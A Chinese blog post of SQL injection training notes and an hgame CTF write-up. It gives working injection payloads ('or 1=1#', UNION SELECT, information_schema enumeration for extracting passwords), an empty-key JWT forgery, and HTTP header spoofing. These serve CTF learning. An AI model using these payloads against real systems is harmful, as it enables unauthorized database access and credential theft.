[风信子培训]SQL注入+hgame
作者:互联网
sql注入
sql语句
SELECT username, password FROM users WHERE username='$username' && password='$password'
万能密码(最简单的sql注入)
1‘ or 1=1#
- 注释符也可以是–+
- #是为了将后面的密码段给注释掉
步骤
-
找注入点(就是可以跟数据库进行交互的地方)
-
闭合语句(闭合了就能用SQL注入,不一定只是一个单引号)
-
注入攻击
注入攻击
- 我们需要知道表名、字段名,想要的数据的某个标识
判断列数(字段数)
select username,password from user where username='1' order by 2
利用order by
- 判断语句之后和注释之前的区域,可以随意操作
- 利用order by 1 / 2 /…根据回显的报错情况来判断具体的列数
注意:username=的那个1不要用admin,不然直接默认输出admin了,无法判断回显点了
判断回显点
利用union select联合查询
他会追加在后面
mysql> SELECT username, password FROM users WHERE username='admin' union select 1,2;
+----------+----------+
| username | password |
+----------+----------+
| admin | admin |
| 1 | 2 |
+----------+----------+
我们设置一个不存在的即可
database()
返回当前使用的数据库
limit
select * from users limit 0,2
从0开始查两个
0' or 1=1 limit 14,1#
group_concat
把一列的数据,全部整合到一起
select group_concat(password) from users;
如果我们知道表名,
username=1'union select (select password from users where username="flag"),2#
&password=asdasda
username=1'union select password,2 from users where username="flag"#&password=asdasda
information_schema
查询表名
- table_name:表名
- information_schema.tables:里面含有数据库的所有表和表
- table_schema=database():库名等于当前数据名
1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
查询字段名
1' union select group_concat(column_name),1 from information_schema.columns where table_schema=database() and table_name='users'#
查数据
- 知道了字段名,直接查里面的数据就行
1' union select group_concat(password),1 from users#
hgame
web
1
尊贵的admin写了个todo帮助自己管理日常,但他好像没调试完就部署了…一个月后,当他再一次打开他的小网站,似乎忘记了密码…他的todo之前记录了很重要的东西,快帮帮他
不要爆破!
那就换个用户名.
看见todo.题目说不能爆破密码,说明密码很难,不要反其道而行
抓包先看看
同个网站会有多个包,不停的放包观察,多点几次。如果是空白那就等一会儿
看!这有个token
接下来我们需要用到个网站jwt
是不是和token很相似?放里面观察
- 我们不知道密钥是什么,那就试试当前的密钥
- 比如我的用户名是pipa,我删掉最后一个字母,再加上最后一个字母。文本框和原来的不一样了。说明当前密钥不是我们所需
- 那我们试试密钥为空,重新去掉再添加,发现文本框没变。那这个密钥就是空的。
- 现在再把文本框里的放回包里
出来了
2
这题居然点100关!我20关就放弃了哎。下次极限拉到100
憋着一肚子火
就这个。抓包
3
小游戏这题,无非在js里找
拉出来放控制台
4
先抓个包表敬意
这是个网站,可以放网站的地方:referer(从这个地方来)
注意要放在Connection:close的上面
这个Hachi-Roku像是个浏览器。放浏览器的地方:User-Agent
- 发现Set-Cookie: flavor=Strawberry; 也就是重新设置cookie.
- 题目又说是树莓味的,那把flavor=Raspberry放上去
加汽油,找找哪里能加汽油。看到Gasoline:0 。把他加到100
最后一步。从本地,想到XFF(从这里来的)
这就是不能用XFF。那就换一个X-Real-IP
misc
1
签到题,微信关注得到flag
2
这个压缩包有点麻烦
打开压缩包,全都加密。注释里面写的是6位以内的纯数字。用Ziperello暴力解密
压缩包里面还有个加密压缩包。字典解码
用第一个压缩包里面附加的字典:password-note
包里还套密码包,这次明文攻击
两个后缀一模一样,说明是同个文件。进行明文攻击时,先把文件变成压缩包。注意特定格式
3
好看的流量
追踪tcp流
-
这些全是base64编码,base64转图片
-
翻找各个颜色通道
在这里
扫描二维码,得到一半flag hgame{ez_1mg_ -
再用zsteg查看图片各种颜色通道,获取隐藏信息,在kali打开
zsteg /root/Desktop/下载.jfif --all
这里就是了
4
- 音频隐写题,先用工具AudacityPortable看看波形图,还是挺正常的。
- 再看看频谱图,不一样了,先记下来
Yoasobi - 查看音频属性
下载SlientEye
看到了个网址,打开它,下载音频
用工具RX-SSTV解码
打开history,就会发现二维码,扫描二维码,最终得到flag
lot
用010打开文件,就能得到flag
CRYPTO
easyRSA
先看返回值
- 先对第一组数据进行操作,打开RSAtool工具
- e=12433 这要试一试,看e是十进制还是十六进制,最后结果表明e是十进制。但是工具里需要e为十六进制,那我们转换一下,得到e=3091
- 看第一组以及以后的所有数据,它全是数字,说明都是十进制,图上NameberBase那里改成十进制
- p=149,q=197,因为n=p*q,所以我们把n要算出来
- 将p,q输进去,点Cale.D,剩下两个空就都出来了
- 这时我们叫测试,要点Test,这工具第一次打开点不了Test,需要点一下Generate按钮,但要注意,点完后所有的数据都变了,需要重新输入
- 这时候点击Test,新出现个小页面。因为我们要解密,所以需要用到第二个框
这个该死的工具! - 必须先随便在第一行输个数,点击Encrypt,再在第二行把py第一组数据的104输进去
- 点击Decrypt,解码h,就是hgame的第一个字母。然后剩余组的步骤一样。重复重复重复
标签:username,users,union,hgame,风信子,SQL,password,select,schema 来源: https://blog.csdn.net/qq_61109509/article/details/122763062